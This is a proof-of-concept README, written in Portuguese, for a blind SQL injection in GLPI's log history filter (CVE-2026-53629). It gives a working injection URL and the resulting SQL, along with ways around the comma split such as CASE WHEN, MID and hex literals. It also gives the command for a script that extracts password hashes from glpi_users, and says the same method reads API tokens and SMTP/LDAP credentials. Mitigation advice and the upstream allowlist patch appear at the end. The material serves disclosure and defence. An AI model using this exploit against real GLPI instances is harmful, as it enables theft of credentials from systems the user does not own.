
PoC para CVE-2026-53629, injeção SQL cega no filtro de log de histórico do GLPI
Injeção SQL cega no filtro de histórico de logs do GLPI. CVE-2026-53629, corrigida na 11.0.8 e na 10.0.26, quebrada desde a 9.4.0.
Requer qualquer conta com o direito de leitura logs. O perfil Read-Only padrão tem esse direito.
Aviso: GHSA-cpcj-x335-5cmh Análise: como eu encontrei
Log::convertFiltersValuesToSqlCriteria() divide o filtro affected_fields em key:operator:values. O patch para CVE-2026-29047 validou o operador, converteu o índice do array e deixou $key intacto.
DBmysqlIterator::analyseCrit() não coloca , e entre aspas como nomes de colunas. Ela recorre nos valores deles, e essa recursão termina num branch obsoleto que devolve strings simples como SQL bruto.
ORANDNOTEntão OR como chave insere o que você quiser na cláusula WHERE:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
A aba de histórico faz o mesmo através de filters[affected_fields][0].
explode(',', $values) quebra qualquer coisa com vírgula, então SUBSTRING(s,1,1) e IF(a,b,c) estão fora. CASE WHEN ... THEN ... ELSE ... END e MID(s FROM n FOR 1) resolvem. Literais hexadecimais em vez de aspas; 0x676c7069 é glpi.
O payload é executado uma vez por linha em glpi_logs, então o sleep se multiplica. Seis linhas com sleep(5) equivalem a 30 segundos. Em uma instância real, reduza para 0.1 ou a requisição nunca volta.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
Lê glpi_users.password um caractere por vez por busca binária. Use --id para outro usuário, --sleep e --threshold para alvos mais lentos.
O mesmo truque lê api_token, personal_token e as credenciais SMTP e LDAP em glpi_configs.
Atualize. Se não puder, remova o direito de leitura logs dos perfis que não precisam dele. O upstream incluiu a chave na allowlist:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
Publicado depois que a correção saiu. Não execute em coisas que não são suas.